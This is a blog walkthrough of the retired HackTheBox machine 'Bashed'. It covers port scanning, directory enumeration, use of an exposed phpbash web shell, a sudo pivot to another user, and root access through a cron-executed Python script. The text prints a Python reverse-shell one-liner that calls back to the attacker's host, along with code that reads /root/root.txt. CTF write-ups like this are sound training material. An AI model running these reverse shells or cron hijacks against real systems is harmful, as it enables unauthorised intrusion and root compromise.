This series will follow my exercises in HackTheBox. All published writeups are for retired HTB machines. Whether or not I use Metasploit to pwn the server will be indicated in the title.


Difficulty: Easy

Machine IP:

The initial port scan returns only 1 port active, a web server.

sudo nmap -sS -T4 -p-
[sudo] password for artis3n: 
Starting Nmap 7.80 ( ) at 2020-06-07 11:03 EDT
Nmap scan report for
Host is up (0.016s latency).
Not shown: 65534 closed ports
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 11.63 seconds
sudo nmap -A -sC -sV -p 80
Starting Nmap 7.80 ( ) at 2020-06-07 11:04 EDT
Nmap scan report for
Host is up (0.013s latency).

80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.12 (95%), Linux 3.13 (95%), Linux 3.16 (95%), Linux 3.18 (95%), Linux 3.2 - 4.9 (95%), Linux 3.8 - 3.11 (95%), Linux 4.8 (95%), Linux 4.4 (95%), Linux 4.2 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

TRACEROUTE (using port 80/tcp)
1   11.83 ms
2   11.98 ms

In particular, I note that it is an Apache httpd server likely running version 2.4.18.

Let’s enumerate. My absolute favorite web directory enumeration tool is gobuster.

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 30 -u
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        30
[+] Wordlist:       /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
2020/06/07 11:10:03 Starting gobuster
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/css (Status: 301)
/dev (Status: 301)
/fonts (Status: 301)
/images (Status: 301)
/js (Status: 301)
/php (Status: 301)
/server-status (Status: 403)
/uploads (Status: 301)
2020/06/07 11:10:16 Finished

/dev looks interesting! Navigating to this directory reveals some PHP scripts.

phpbash dev dir

Hmmm… Navigating to /dev/phpbash.php gives me a semi-interactive web shell as the www-data user.

phpbash terminal

I can cat the user flag straight from this terminal. I can get a reverse shell back to my host machine with python:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/bash","-i"]);'

It is important to change the s.connect(("",443)); section to what is applicable for your host.

Now for information gathering to find a privilege escalation vector. Let’s get a TTY shell before I do anything else.

# In reverse shell
SHELL=/bin/bash script -q /dev/null
# ctrl+z (background netcat reverse shell)
stty raw -echo
reset # Re-initialize the backgrounded reverse shell

sudo -l informs me that we can run any command as the scriptmanager user without needing a password.

sudo -l

Matching Defaults entries for www-data on bashed:
    env_reset, mail_badpass,

User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL

So, let’s go ahead and pivot to the scriptmanager user. This won’t work if your TTY shell is not set up correctly.

sudo -u scriptmanager /bin/bash

Given the name of the user is scriptmanager, I imagine this user has some scripts on the system that it has access to manage. I check for all files on the system owned by this user.

find / -type f -user scriptmanager 2>/dev/null 

Well, /scripts/ stands out. Looking at the contents of this file, I see it opens a file and writes out a test string. It also appears that the created test.txt file is owned by root, so there is likely a cron job running on the system where root executes the code in Interesting! script

This means we can modify the file and wait for root to execute the code. I tried creating a reverse shell script, but I had TTY errors that I did not resolve.

#!/usr/bin/env python
import socket,subprocess,os
s.connect(("", 454))

On my host:

listening on [any] 454 ...
connect to [] from (UNKNOWN) [] 40738
/bin/sh: 0: can't access tty; job control turned off

Reviewing this code while writing this article, I realized I missed os.dup2(s.fileno(),0) in my python file. Try that out and you should get a reverse shell back to your machine.

However, I opted to have the script write the root.txt contents to the test file.

#!/usr/bin/env python

p = open("/root/root.txt", "r")
contents =
f = open("test.txt", "w")

This allows me to then read the test.txt file for the root flag.